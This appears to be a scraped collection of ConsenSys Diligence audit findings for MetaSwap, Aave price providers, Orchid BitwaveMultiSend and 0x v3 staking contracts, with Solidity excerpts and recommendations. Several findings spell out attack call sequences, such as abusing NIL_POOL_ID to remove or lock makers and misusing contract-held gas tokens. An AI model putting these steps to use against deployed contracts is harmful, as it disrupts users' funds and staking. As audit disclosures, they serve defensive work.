adapters/UniswapAdapter.sol d0733f6f4567dc58d3caf4af8875e17824a97f2d ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "5.2 Security Specification", "body": " The security specification hasn t change much from the original assessment, so please refer to that. There are two significant changes to the security model: fee collection and gas token ownership. In the new code, fees are collected, but these fees can be seen as voluntary from the perspective of the smart contracts. Users are free to pass any value for the fee parameter, including 0 to avoid all fees. The assumption is that most users will not bother to change the fee suggested by the MetaSwap API. The other significant change is the introduction of the CHI gas token. In particular, the ability to use gas tokens held by the MetaSwap contract opens a new potential attack surface. Indeed, we found that an attacker could use contract-held tokens for other purposes. 6 Second Assessment Issues ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "6.1 Attacker can abuse gas tokens stored in MetaSwap ", "body": " Resolution This function was removed in ConsenSys/metaswap-contracts@75c4454. Description MetaSwap.swapUsingGasToken() allows users to make use of gas tokens held by the MetaSwap contract itself to reduce the gas cost of trades. This mechanism is unsafe because any tokens held by the contract can be used by an attacker for other purposes. Examples An attack could also be made by using an existing token that makes external calls (e.g. an ERC777 token) or a mechanism in an aggregated exchange that makes external calls (e.g. wallet signatures in 0x). Recommendation The simplest way to avoid this vulnerability is to never transfer CHI gas tokens to MetaSwap at all. An alternative would be to only allow gas tokens to be used by approved transactions from the MetaSwap API. A possible mechanism for that would be to require a signature from the MetaSwap API. If such a signature were only provided in known-good situations (which are admittedly hard to define), it wouldn t be possible for an attacker to misuse the tokens. 7 Third Assessment We performed a third assessment between November 7th and November 10th, 2020. The engagement was conducted primarily by Steve Marx. The total expended effort was 4 person-hours. This third assessment covered the new FeeDistributor contract, which divides assets among a number of recipients. It s used in the MetaSwap system to distribute fees. Each recipient has a number of shares , and assets are divided according to each recipients portion of share ownership. Potential assets include ether and ERC20-compatible tokens. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "7.1 Scope for the third assessment", "body": " The only contract in scope was the FeeDistributor: FeeDistributor.sol 23749a338461db92a96ae87a2fd454d1aa0cbb92 ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "7.2 Security Specification", "body": " At setup, the FeeDistributor is initialized with a number of recipients, each with a corresponding number of shares. Recipients should be able to withdraw their fair share ( / ) of any stored asset at any time. No recipient should receive more than their fair share of an asset. 8 Third Assessment Recommendations ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "8.1 Document assumptions about ERC20 tokens", "body": " Most ERC20-compatible tokens can be used with the FeeDistributor contract, but it s wise to document some assumptions made by the contract: Token balances will not be too big (relative to the number of shares). Specifically, the total number of token units received by the contract must be able to be multiplied by the largest share amount held by a recipient. Token balances will not be too small (relative to share amounts). It s impossible to divide a balance of 1 among more than 1 recipient. To be safe, it would be good to make sure that no one cares about losing less than totalShares token units. For example, if there are 1,000,000 total shares, an asset like ether would not be a problem because 1,000,000 wei is a trivial amount. Token balances will not decrease without an explicit transfer. The contract makes the assumption that it can always compute the total received tokens by adding tokenBalance(token) and _totalWithdrawn[token]. This is not the case if the token balance can be manipulated externally. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "8.2 Only allow full withdrawal", "body": " The current code has both ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "8.3 Drop the recipient parameter", "body": " Everywhere in the code, the 9 Third Assessment Issues ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "9.1 Simplify accounting and better handle remainders ", "body": " Resolution This was fixed in ConsenSys/metaswap-contracts@f0a62e5. The accounting was reworked according to the recommendation here. Description The current code does some fairly complex and redundant calculations during withdrawal to keep track of various pieces of state. In particular, the pair of _available[recipient][token] and _totalOnLastUpdate[recipient][token] is difficult to describe and reason about. Recommendation For a given token and recipient, we recommend instead just tracking how much has already been withdrawn. The rest can be easily calculated: function earned(IERC20 token, address recipient) public view returns (uint256) { uint256 totalReceived = tokenBalance(token).add(_totalWithdrawn[token]); return totalReceived.mul(shares[recipient]).div(totalShares); function available(IERC20 token, address recipient) public view returns (uint256) { return earned(token, recipient).sub(_withdrawn[token][recipient]); function withdraw(IERC20[] calldata tokens) external { for (uint256 i = 0; i < tokens.length; i++) { IERC20 token = tokens[i]; uint256 amount = available(token, msg.sender); _withdrawn[token][msg.sender] += amount; _totalWithdrawn[token] += amount; _transfer(token, msg.sender, amount); emit Withdrawal(tokens, msg.sender); This code is easier to reason about: It s easy to see that withdrawn[token][msg.sender] is correct because it s only increased when there s a corresponding transfer. It s easy to see that _totalWithdrawn[token] is correct for the same reason. It s easy to see that earned() is correct under standard assumptions about ERC20 balances. It s easy to see that available() is correct, as it s just the earned amount less the already-withdrawn amount. Remainders are better handled. If 1 token unit is available and you own half the shares, nothing happens on withdrawal, and if there are later 2 token units available, you can withdraw 1. (Under the previous code, if you tried to withdraw when 1 token unit was available, you would be unable to withdraw when 2 were available.) ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/metaswap/"}, {"title": "5.1 Code readability - Rename priceDeviation to maxPriceDeviation ", "body": " Resolution The variable was renamed. Description Improve code readability by renaming the state variable priceDeviation to maxPriceDeviation, distinguishing it from the local variable price_deviation and indicating that the variable is a limit as outlined in the specification (MAX_DEVIATION). Balancer code/aave-balancer-3e8367ab/contracts/proxies/BalancerSharedPoolPriceProvider.sol:L124-L129 if ( price_deviation > (BONE + priceDeviation) || price_deviation < (BONE - priceDeviation) ) { return true; Uniswapv2 code/aave-uniswapv2-e81cf872/contracts/proxies/UniswapV2PriceProvider.sol:L83-L95 if ( price_deviation > (Math.BONE + priceDeviation) || price_deviation < (Math.BONE - priceDeviation) ) { return true; price_deviation = Math.bdiv(ethTotal_1, ethTotal_0); if ( price_deviation > (Math.BONE + priceDeviation) || price_deviation < (Math.BONE - priceDeviation) ) { return true; ", "labels": ["Consensys", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/aave-balancer-and-uniswap-v2-price-providers/"}, {"title": "5.2 Improve Input Validation ", "body": " Resolution the recommended checks have been added to the constructor. Description The constructor does not validate whether the provided price provider arguments actually make sense. In the worst-case someone might be able to deploy the contract that cannot be used. It is recommended to fail the contract creation early if invalid arguments are detected. Consider implementing the following checks to detect whether a non-viable price provider is being deployed: tokens.length > 1 and less than the maximum supported tokens (note that hasDeviation requires token.length**2 iterations if no deviation is detected) _isPeggedToEth.length == tokens.length _decimals.length == tokens.length approximationMatrix.length && approximationMatrix[0][0].length == tokens.length +1 _priceDeviation is within bounds (less than 100%, i.e. less than 1 * BONE) otherwise the calculation might underflow. _powerPrecision is within bounds address(_priceOracle) != address(0) Balancer code/aave-balancer-3e8367ab/contracts/proxies/BalancerSharedPoolPriceProvider.sol:L38-L63 constructor( BPool _pool, bool[] memory _isPeggedToEth, uint8[] memory _decimals, IPriceOracle _priceOracle, uint256 _priceDeviation, uint256 _K, uint256 _powerPrecision, uint256[][] memory _approximationMatrix ) public { pool = _pool; //Get token list tokens = pool.getFinalTokens(); //This already checks for pool finalized //Get token normalized weights uint256 length = tokens.length; for (uint8 i = 0; i < length; i++) { weights.push(pool.getNormalizedWeight(tokens[i])); isPeggedToEth = _isPeggedToEth; decimals = _decimals; priceOracle = _priceOracle; priceDeviation = _priceDeviation; K = _K; powerPrecision = _powerPrecision; approximationMatrix = _approximationMatrix; Uniswapv2 code/aave-uniswapv2-e81cf872/contracts/proxies/UniswapV2PriceProvider.sol:L35-L50 constructor( IUniswapV2Pair _pair, bool[] memory _isPeggedToEth, uint8[] memory _decimals, IPriceOracle _priceOracle, uint256 _priceDeviation ) public { pair = _pair; //Get tokens tokens.push(pair.token0()); tokens.push(pair.token1()); isPeggedToEth = _isPeggedToEth; decimals = _decimals; priceOracle = _priceOracle; priceDeviation = _priceDeviation; ", "labels": ["Consensys", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/aave-balancer-and-uniswap-v2-price-providers/"}, {"title": "5.3 Use SafeMath consistently ", "body": " Resolution All arithmetic operations now use SafeMath. Description Even though the Uniswap price provider imports the SafeMath library, the SafeMath library functions aren t always used for integer arithmetic operations. Note that plain Solidity arithmetic operators do not check for integer underflows and overflows. Examples Example 1: code/aave-uniswapv2-e81cf872/contracts/proxies/UniswapV2PriceProvider.sol:L66 uint256 missingDecimals = 18 - decimals[index]; Example 2 (same in line 91-92): code/aave-uniswapv2-e81cf872/contracts/proxies/UniswapV2PriceProvider.sol:L84-L85 price_deviation > (Math.BONE + priceDeviation) || price_deviation < (Math.BONE - priceDeviation) Example 3: code/aave-uniswapv2-e81cf872/contracts/proxies/UniswapV2PriceProvider.sol:L164-L165 uint256 liquidity = numerator / denominator; totalSupply += liquidity; Recommendation In some cases, this issue is cosmetic because the values are assumed to be within certain ranges. Nevertheless, we recommend accepting the slightly higher gas cost for SafeMath functions for consistency and to prevent potential issues. 6 Issues The issues are presented in approximate order of priority from highest to lowest. ", "labels": ["Consensys", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/aave-balancer-and-uniswap-v2-price-providers/"}, {"title": "6.1 Unchecked Specification requirement - token limit Closed", "body": " Description According to the Balancer Shared Pool Price Provider that was provided with the audit code-base the price provide must fulfill the following requirements: Pool token price cannot be manipulated Chainlink will be used as the main oracle It should use as less gas as possible Limited to Balancer s shared pools where the weights cannot be changed Limited to a pool containing 2 to 3 tokens However, the constructor of the price provider does not enforce the limit of 2 to 3 tokens. Examples code/aave-balancer-3e8367ab/contracts/proxies/BalancerSharedPoolPriceProvider.sol:L38-L63 constructor( BPool _pool, bool[] memory _isPeggedToEth, uint8[] memory _decimals, IPriceOracle _priceOracle, uint256 _priceDeviation, uint256 _K, uint256 _powerPrecision, uint256[][] memory _approximationMatrix ) public { pool = _pool; //Get token list tokens = pool.getFinalTokens(); //This already checks for pool finalized //Get token normalized weights uint256 length = tokens.length; for (uint8 i = 0; i < length; i++) { weights.push(pool.getNormalizedWeight(tokens[i])); isPeggedToEth = _isPeggedToEth; decimals = _decimals; priceOracle = _priceOracle; priceDeviation = _priceDeviation; K = _K; powerPrecision = _powerPrecision; approximationMatrix = _approximationMatrix; Recommendation Require that the number of tokens returned by pool.getFinalTokens() is 2<= len <=3. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/08/aave-balancer-and-uniswap-v2-price-providers/"}, {"title": "6.2 Integer underflow if a token specifies more than 18 decimals Closed", "body": " Description Decimals are provided by the account deploying the price provider contract. In getEthBalanceByToken the assumption is made that decimals[index] is less or equal to 18 decimals, however, the deployer may provide decimals that are not within normal operating bounds. Contract creation succeeds, while the contract is not viable. Examples The value underflows if the contract is used with a token decimals > 18. Balancer code/aave-balancer-3e8367ab/contracts/proxies/BalancerSharedPoolPriceProvider.sol:L69-L78 function getEthBalanceByToken(uint256 index) internal view returns (uint256) uint256 pi = isPeggedToEth[index] ? BONE : uint256(priceOracle.getAssetPrice(tokens[index])); require(pi > 0, \"ERR_NO_ORACLE_PRICE\"); uint256 missingDecimals = 18 - decimals[index]; Uniswapv2 code/aave-uniswapv2-e81cf872/contracts/proxies/UniswapV2PriceProvider.sol:L57-L66 function getEthBalanceByToken(uint256 index, uint112 reserve) internal view returns (uint256) uint256 pi = isPeggedToEth[index] ? Math.BONE : uint256(priceOracle.getAssetPrice(tokens[index])); require(pi > 0, \"ERR_NO_ORACLE_PRICE\"); uint256 missingDecimals = 18 - decimals[index]; Recommendation Add a check to the constructor to ensure that none of the provided decimals is greater than 18. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/08/aave-balancer-and-uniswap-v2-price-providers/"}, {"title": "5.1 Warning about ERC20 handling function", "body": " Description There is something worth bringing up for discussion in the ERC20 disbursement function. code/BitwaveMultiSend.sol:L55 assert(token.transferFrom(msg.sender, _to[i], _value[i]) == true); In the above presented line, the external call is being compared to a truthful boolean. And, even though, this is clearly part of the ERC20 specification there have historically been cases where tokens with sizeable market caps and liquidity have erroneously not implemented return values in any of the transfer functions. The question presents itself as to whether these non-ERC20-conforming tokens are meant to be supported or not. The audit team believes that the purpose of this smart contract is to disburse OXT tokens and therefore, since its development was under the umbrella of the Orchid team, absolutely no security concerns should arise from this issue. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/01/orchid-bitwavemultisend/"}, {"title": "5.2 Discussion on the permissioning of send functions", "body": " Description Since the disbursement of funds is all made atomically (i.e., the Ether funds held by the smart contract are transient) there is no need to permission the function with the restrictedToOwner modifier. Even in the case of ERC20 tokens, there is no need to permission the function since the smart contract can only spend allowance attributed to it by the caller (msg.sender). This being said there is value in permissioning this contract, specifically if attribution of the deposited funds in readily available tools like Etherscan is important. Because turning this into a publicly available tool for batch sends of Ether and ERC20 tokens would mean that someone could wrongly attribute some disbursement to Orchid Labs should they be ignorant to this fact. A possible solution to this problem would be the usage of events to properly attribute the disbursements but it is, indeed, an additional burden to carefully analyse these for proper attribution. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/01/orchid-bitwavemultisend/"}, {"title": "5.3 Improve function visibility ", "body": " Description The following methods are not called internally in the token contract and visibility can, therefore, be restricted to external rather than public. This is more gas efficient because less code is emitted and data does not need to be copied into memory. It also makes functions a bit simpler to reason about because there s no need to worry about the possibility of internal calls. BitwaveMultiSend.sendEth() BitwaveMultiSend.sendErc20() Recommendation Change visibility of these methods to external. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/orchid-bitwavemultisend/"}, {"title": "5.4 Ether send function remainder handling ", "body": " Description The Ether send function depicted below implements logic to reimburse the sender if an extraneous amount is left in the contract after the disbursement. code/BitwaveMultiSend.sol:L22-L43 function sendEth(address payable [] memory _to, uint256[] memory _value) public restrictedToOwner payable returns (bool _success) { // input validation require(_to.length == _value.length); require(_to.length <= 255); // count values for refunding sender uint256 beforeValue = msg.value; uint256 afterValue = 0; // loop through to addresses and send value for (uint8 i = 0; i < _to.length; i++) { afterValue = afterValue.add(_value[i]); assert(_to[i].send(_value[i])); // send back remaining value to sender uint256 remainingValue = beforeValue.sub(afterValue); if (remainingValue > 0) { assert(msg.sender.send(remainingValue)); return true; It is also the only place where the SafeMath dependency is being used. More specifically to check there was no underflow in the arithmetic adding up the disbursed amounts. However, since the individual sends would revert themselves should more Ether than what was available in the balance be specified these protection measures seem unnecessary. Not only the above is true but the current codebase does not allow to take funds locked within the contract out in the off chance someone forced funds into this smart contract (e.g., by self-destructing some other smart contract containing funds into this one). Recommendation The easiest way to handle both retiring SafeMath and returning locked funds would be to phase out all the intra-function arithmetic and just transferring address(this).balance to msg.sender at the end of the disbursement. Since all the funds in there are meant to be from the caller of the function this serves the purpose of returning extraneous funds to him well and, adding to that, it allows for some front-running fun if someone self-destructed funds to this smart contract by mistake. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/orchid-bitwavemultisend/"}, {"title": "5.5 Unneeded type cast of contract type ", "body": " Description The typecast being done on the address parameter in the lien below is unneeded. code/BitwaveMultiSend.sol:L51 ERC20 token = ERC20(_tokenAddress); Recommendation Assign the right type at the function parameter definition like so: ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/orchid-bitwavemultisend/"}, {"title": "5.6 Inadequate use of assert ", "body": " Description The usage of require vs assert has always been a matter of discussion because of the fine lines distinguishing these transaction-terminating expressions. However, the usage of the assert syntax in this case is not the most appropriate. Borrowing the explanation from the latest solidity docs (v. https://solidity.readthedocs.io/en/latest/control-structures.html#id4) : Since assert-style exceptions (using the 0xfe opcode) consume all gas available to the call and require-style ones (using the 0xfd opcode) do not since the Metropolis release when the REVERT instruction was added, the usage of require in the lines depicted in the examples section would only result in gas savings and the same security assumptions. In this case, even though the calls are being made to external contracts the supposedly abide to a predefined specification, this is by no means an invariant of the presented system since the component is external to the built system and its integrity cannot be formally verified. Examples code/BitwaveMultiSend.sol:L34 assert(_to[i].send(_value[i])); code/BitwaveMultiSend.sol:L40 assert(msg.sender.send(remainingValue)); code/BitwaveMultiSend.sol:L55 assert(token.transferFrom(msg.sender, _to[i], _value[i]) == true); Recommendation Exchange the assert statements for require ones. 6 Tool-Based Analysis Several tools were used to perform automated analysis of the reviewed contracts. These issues were reviewed by the audit team, and relevant issues are listed in the Issue Details section. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/orchid-bitwavemultisend/"}, {"title": "6.1 MythX", "body": " MythX is a security analysis API for Ethereum smart contracts. It performs multiple types of analysis, including fuzzing and symbolic execution, to detect many common vulnerability types. The tool was used for automated vulnerability discovery for all audited contracts and libraries. More details on MythX can be found at mythx.io. The output of a MythX Full Mode analysis was reviewed by the audit team and no relevant issues were raised as part of the process. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/01/orchid-bitwavemultisend/"}, {"title": "6.2 Ethlint", "body": " Ethlint is an open source project for linting Solidity code. Only security-related issues were reviewed by the audit team. Below is the raw output of the Ethlint vulnerability scan: code/BitwaveMultiSend.sol 3:7 error \"./ERC20.sol\": Import statements must use double quotes only. quotes 22:16 error There should be no whitespace between \"address payable\" and the opening square bracket. array-declarations 24:8 warning Provide an error message for require() error-reason 25:8 warning Provide an error message for require() error-reason 34:19 warning Consider using 'transfer' in place of 'send'. security/no-send 40:19 warning Consider using 'transfer' in place of 'send'. security/no-send 47:8 warning Provide an error message for require() error-reason 48:8 warning Provide an error message for require() error-reason \u2716 2 errors, 6 warnings found. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/01/orchid-bitwavemultisend/"}, {"title": "6.3 Surya", "body": " Surya is a utility tool for smart contract systems. It provides a number of visual outputs and information about the structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers: Function Name Visibility Mutability Modifiers BitwaveMultiSend Implementation Public NO sendEth Public restrictedToOwner sendErc20 Public restrictedToOwner Legend Function can modify state Function is payable ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/01/orchid-bitwavemultisend/"}, {"title": "5.1 Anyone can remove a maker s pending pool join status ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2250 by removing the two-step handshake for a maker to join a pool. Description Using behavior described in issue 5.6, it is possible to delete the pending join status of any maker in any pool by passing in NIL_POOL_ID to removeMakerFromStakingPool. Note that the attacker in the following example must not be a confirmed member of any pool: The attacker calls addMakerToStakingPool(NIL_POOL_ID, makerAddress). In this case, makerAddress can be almost any address, as long as it has not called joinStakingPoolAsMaker (an easy example is address(0)). The key goal of this call is to increment the number of makers in pool 0: code/contracts/staking/contracts/src/staking_pools/MixinStakingPool.sol:L262 _poolById[poolId].numberOfMakers = uint256(pool.numberOfMakers).safeAdd(1).downcastToUint32(); The attacker calls removeMakerFromStakingPool(NIL_POOL_ID, targetAddress). This function queries getStakingPoolIdOfMaker(targetAddress) and compares it to the passed-in pool id. Because the target is an unconfirmed maker, their staking pool id is NIL_POOL_ID: code/contracts/staking/contracts/src/staking_pools/MixinStakingPool.sol:L166-L173 bytes32 makerPoolId = getStakingPoolIdOfMaker(makerAddress); if (makerPoolId != poolId) { LibRichErrors.rrevert(LibStakingRichErrors.MakerPoolAssignmentError( LibStakingRichErrors.MakerPoolAssignmentErrorCodes.MakerAddressNotRegistered, makerAddress, makerPoolId )); } The check passes, and the target s _poolJoinedByMakerAddress struct is deleted. Additionally, the number of makers in pool 0 is decreased: code/contracts/staking/contracts/src/staking_pools/MixinStakingPool.sol:L176-L177 delete _poolJoinedByMakerAddress[makerAddress]; _poolById[poolId].numberOfMakers = uint256(_poolById[poolId].numberOfMakers).safeSub(1).downcastToUint32(); This can be used to prevent any makers from being confirmed into a pool. Recommendation See issue 5.6. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.2 Delegated stake weight reduction can be bypassed by using an external contract ", "body": " Resolution From the development team: Although it is possible to bypass the weight reduction via external smart contracts, we believe there is some value to having a lower delegated stake weight as the default behavior. This can still approximate the intended behavior and should give a very slight edge to pool operators that own their stake. Description Staking pools allow ZRX holders to delegate their staked ZRX to a market maker in exchange for a configurable percentage of the stake reward (accrued over time through exchange fees). When staking as expected through the 0x contracts, the protocol favors ZRX staked directly by the operator of the pool, assigning a lower weight (90%) to ZRX staked by delegation. In return, delegated members receive a configurable portion of the operator s stake reward. Using a smart contract, it is possible to represent ZRX owned by any number of parties as ZRX staked by a single party. This contract can serve as the operator of a pool with a single member\u2014itself. The advantages are clear for ZRX holders: ZRX staked through this contract will be given full (100%) stake weight. Because stake weight is a factor in reward allocation, the ZRX staked through this contract receives a higher proportion of the stake reward. Recommendation Remove stake weight reduction for delegated stake. ", "labels": ["Consensys", "Major", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.3 MixinParams.setParams bypasses safety checks made by standard StakingProxy upgrade path. ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2279. Now the parameter validity is asserted in Description The staking contracts use a set of configurable parameters to determine the behavior of various parts of the system. The parameters dictate the duration of epochs, the ratio of delegated stake weight vs operator stake, the minimum pool stake, and the Cobb-Douglas numerator and denominator. These parameters can be configured in two ways: An authorized address can deploy a new Staking contract (perhaps with altered parameters), and configure the StakingProxy to delegate to this new contract. This is done by calling StakingProxy.detachStakingContract: code/contracts/staking/contracts/src/StakingProxy.sol:L82-L90 /// @dev Detach the current staking contract. /// Note that this is callable only by an authorized address. function detachStakingContract() external onlyAuthorized { stakingContract = NIL_ADDRESS; emit StakingContractDetachedFromProxy(); } StakingProxy.attachStakingContract(newContract): code/contracts/staking/contracts/src/StakingProxy.sol:L72-L80 /// @dev Attach a staking contract; future calls will be delegated to the staking contract. /// Note that this is callable only by an authorized address. /// @param _stakingContract Address of staking contract. function attachStakingContract(address _stakingContract) external onlyAuthorized { _attachStakingContract(_stakingContract); } During the latter call, the StakingProxy performs a delegatecall to Staking.init, then checks the values of the parameters set during initialization: code/contracts/staking/contracts/src/StakingProxy.sol:L208-L219 // Call `init()` on the staking contract to initialize storage. (bool didInitSucceed, bytes memory initReturnData) = stakingContract.delegatecall( abi.encodeWithSelector(IStorageInit(0).init.selector) ); if (!didInitSucceed) { assembly { revert(add(initReturnData, 0x20), mload(initReturnData)) } } // Assert initialized storage values are valid _assertValidStorageParams(); An authorized address can call MixinParams.setParams at any time and set the contract s parameters to arbitrary values. The latter method introduces the possibility of setting unsafe or nonsensical values for the contract parameters: epochDurationInSeconds can be set to 0, cobbDouglassAlphaNumerator can be larger than cobbDouglassAlphaDenominator, rewardDelegatedStakeWeight can be set to a value over 100% of the staking reward, and more. Note, too, that by using MixinParams.setParams to set all parameters to 0, the Staking contract can be re-initialized by way of Staking.init. Additionally, it can be re-attached by way of StakingProxy.attachStakingContract, as the delegatecall to Staking.init will succeed. Recommendation Ensure that calls to setParams check that the provided values are within the same range currently enforced by the proxy. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.4 Authorized addresses can indefinitely stall ZrxVaultBackstop catastrophic failure mode ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2295 by removing the Description The ZrxVaultBackstop contract was added to allow anyone to activate the staking system s catastrophic failure mode if the StakingProxy is in read-only mode for at least 40 days. To enable this behavior, the StakingProxy contract was modified to track the last timestamp at which read-only mode was activated. This is done by way of StakingProxy.setReadOnlyMode: code/contracts/staking/contracts/src/StakingProxy.sol:L92-L104 /// @dev Set read-only mode (state cannot be changed). function setReadOnlyMode(bool shouldSetReadOnlyMode) external onlyAuthorized // solhint-disable-next-line not-rely-on-time uint96 timestamp = block.timestamp.downcastToUint96(); if (shouldSetReadOnlyMode) { stakingContract = readOnlyProxy; readOnlyState = IStructs.ReadOnlyState({ isReadOnlyModeSet: true, lastSetTimestamp: timestamp }); Because the timestamp is updated even if read-only mode is already active, any authorized address can prevent ZrxVaultBackstop from activating catastrophic failure mode by repeatedly calling setReadOnlyMode. Recommendation If read-only mode is already active, setReadOnlyMode(true) should result in a no-op. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.5 Pool 0 can be used to temporarily prevent makers from joining another pool ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2250. Pool IDs now start at 1. Description removeMakerFromStakingPool reverts if the number of makers currently in the pool is 0, due to safeSub catching an underflow: code/contracts/staking/contracts/src/staking_pools/MixinStakingPool.sol:L177 _poolById[poolId].numberOfMakers = uint256(_poolById[poolId].numberOfMakers).safeSub(1).downcastToUint32(); Because of this, edge behavior described in issue 5.6 can allow an attacker to temporarily prevent makers from joining a pool: The attacker calls addMakerToStakingPool(NIL_POOL_ID, victimAddress). This sets the victim s MakerPoolJoinStatus.confirmed field to true and increases the number of makers in pool 0 to 1: code/contracts/staking/contracts/src/staking_pools/MixinStakingPool.sol:L257-L262 poolJoinStatus = IStructs.MakerPoolJoinStatus({ poolId: poolId, confirmed: true }); _poolJoinedByMakerAddress[makerAddress] = poolJoinStatus; _poolById[poolId].numberOfMakers = uint256(pool.numberOfMakers).safeAdd(1).downcastToUint32(); The attacker calls removeMakerFromStakingPool(NIL_POOL_ID, randomAddress). The net effect of this call simply decreases the number of makers in pool 0 by 1, back to 0: code/contracts/staking/contracts/src/staking_pools/MixinStakingPool.sol:L176-L177 delete _poolJoinedByMakerAddress[makerAddress]; _poolById[poolId].numberOfMakers = uint256(_poolById[poolId].numberOfMakers).safeSub(1).downcastToUint32(); Typically, the victim should be able to remove themselves from pool 0 by calling removeMakerFromStakingPool(NIL_POOL_ID, victimAddress), but because the attacker can set the pool s number of makers to 0, the aforementioned underflow causes this call to fail. The victim must first understand what is happening in MixinStakingPool before they are able to remedy the situation: The victim must call addMakerToStakingPool(NIL_POOL_ID, randomAddress2) to increase pool 0 s number of makers back to 1. The victim can now call removeMakerFromStakingPool(NIL_POOL_ID, victimAddress), and remove their confirmed status. Additionally, if the victim in question currently has a pending join, the attacker can use issue 5.1 to first remove their pending status before locking them in pool 0. Recommendation See issue 5.1. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.6 Recommendation: Fix weak assertions in MixinStakingPool stemming from use of NIL_POOL_ID ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2250. Pool IDs now start at 1. Description The modifier onlyStakingPoolOperatorOrMaker(poolId) is used to authorize actions taken on a given pool. The sender must be either the operator or a confirmed maker of the pool in question. However, the modifier queries getStakingPoolIdOfMaker(maker), which returns NIL_POOL_ID if the maker s MakerPoolJoinStatus struct is not confirmed. This implicitly makes anyone a maker of the nonexistent pool 0 : code/contracts/staking/contracts/src/staking_pools/MixinStakingPool.sol:L189-L200 function getStakingPoolIdOfMaker(address makerAddress) public view returns (bytes32) IStructs.MakerPoolJoinStatus memory poolJoinStatus = _poolJoinedByMakerAddress[makerAddress]; if (poolJoinStatus.confirmed) { return poolJoinStatus.poolId; } else { return NIL_POOL_ID; joinStakingPoolAsMaker(poolId) makes no existence checks on the provided pool id, and allows makers to become pending makers in nonexistent pools. addMakerToStakingPool(poolId, maker) makes no existence checks on the provided pool id, allowing makers to be added to nonexistent pools (as long as the sender is an operator or maker in the pool). Recommendation Avoid use of 0x00...00 for NIL_POOL_ID. Instead, use 2**256 - 1. Implement stronger checks for pool existence. Each time a pool id is supplied, it should be checked that the pool id is between 0 and nextPoolId. onlyStakingPoolOperatorOrMaker should revert if poolId == NIL_POOL_ID or if poolId is not in the valid range: (0, nextPoolId). ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.7 LibMath functions fail to catch a number of overflows ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2255 and 0xProject/0x-monorepo#2311. Description The __add(), __mul(), and __div() functions perform arithmetic on 256-bit signed integers, and they all miss some specific overflows. Addition Overflows code/contracts/staking/contracts/src/libs/LibFixedMath.sol:L359-L376 /// @dev Adds two numbers, reverting on overflow. function _add(int256 a, int256 b) private pure returns (int256 c) { c = a + b; if (c > 0 && a < 0 && b < 0) { LibRichErrors.rrevert(LibFixedMathRichErrors.BinOpError( LibFixedMathRichErrors.BinOpErrorCodes.SUBTRACTION_OVERFLOW, a, )); if (c < 0 && a > 0 && b > 0) { LibRichErrors.rrevert(LibFixedMathRichErrors.BinOpError( LibFixedMathRichErrors.BinOpErrorCodes.ADDITION_OVERFLOW, a, )); The two overflow conditions it tests for are: Adding two positive numbers shouldn t result in a negative number. Adding two negative numbers shouldn t result in a positive number. __add(-2**255, -2**255) returns 0 without reverting because the overflow didn t match either of the above conditions. Multiplication Overflows code/contracts/staking/contracts/src/libs/LibFixedMath.sol:L332-L345 /// @dev Returns the multiplication two numbers, reverting on overflow. function _mul(int256 a, int256 b) private pure returns (int256 c) { if (a == 0) { return 0; c = a * b; if (c / a != b) { LibRichErrors.rrevert(LibFixedMathRichErrors.BinOpError( LibFixedMathRichErrors.BinOpErrorCodes.MULTIPLICATION_OVERFLOW, a, )); The function checks via division for most types of overflows, but it fails to catch one particular case. __mul(-2**255, -1) returns -2**255 without error. Division Overflows code/contracts/staking/contracts/src/libs/LibFixedMath.sol:L347-L357 /// @dev Returns the division of two numbers, reverting on division by 